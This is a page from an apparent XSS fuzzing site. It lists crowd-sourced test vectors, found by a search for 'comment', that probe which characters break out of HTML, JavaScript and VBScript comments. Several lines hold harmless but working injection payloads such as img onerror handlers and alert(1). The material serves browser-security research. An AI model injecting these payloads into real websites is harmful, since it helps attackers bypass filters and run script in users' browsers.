Featured vector

Firefox 0.0
<!-- sample vector --> <0x3cimg src='about:blank' onerror=alert(1)>

Fuzz vector cloud

Anchor Attributes CSS Closing Comments HTML HTML5 JavaScript Protocol Script URL XSS attribute bla bypass challenge char comment data encoding entities entity event events expression flash for fun handler href img innerHTML navigateURL onload prompt properties regex space src string strings style svg tag tags test testing uri waf xml

3,344,426 Successful fuzzes

Fuzz Vectors

Searching for "comment"

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Description Vector Created by
Characters that close a HTML comment 4 <!-- --*chr*> <img src=xxx:x onerror=log(*num*)> --> @irsdl
Characters that escape JavaScript single line comments <script> // hmm *chr*logChr(*num*) </script> @peksa
Characters that close a HTML comment 0021 <!--*chr*><img src=xxx:x onerror=log(*num*)> --> @matttiko
Characters to break VBScript comments <script language="vbscript"> '*chr*log(*num*)' </script> @0x6D6172696F
chars allowed between js comment v2 <script>logChr(*num*)*chr*'</script> @insertScript
chars allowed between js comment <script>logChr(*num*)/*chr*/'</script> @insertScript
allowed char in js comment <script>logChr(*num*)<*chr*!-- '</script> @insertScript
characters which turn into a comment <svg><script>lo<*chr*>gChr(*num*)</script></svg> @insertScript
Characters that close a HTML comment 3 --><!-- -*chr*-> <img src=xxx:x onerror=log(*num*)> --> @DOMXss
Characters that close a HTML comment 002 <!--*chr*<img src=xxx:x onerror=log(*num*)> --> @0x6D6172696F
Characters escaping JS comment delimiters 001 <script>/* **chr*/log(*num*)// */</script> @0x6D6172696F
Characters that close JS Comments '"`><script>/* **chr*log(*num*)// */</script> @garethheyes
Characters that close a HTML comment --><!-- --*chr*> <img src=xxx:x onerror=log(*num*)> --> @garethheyes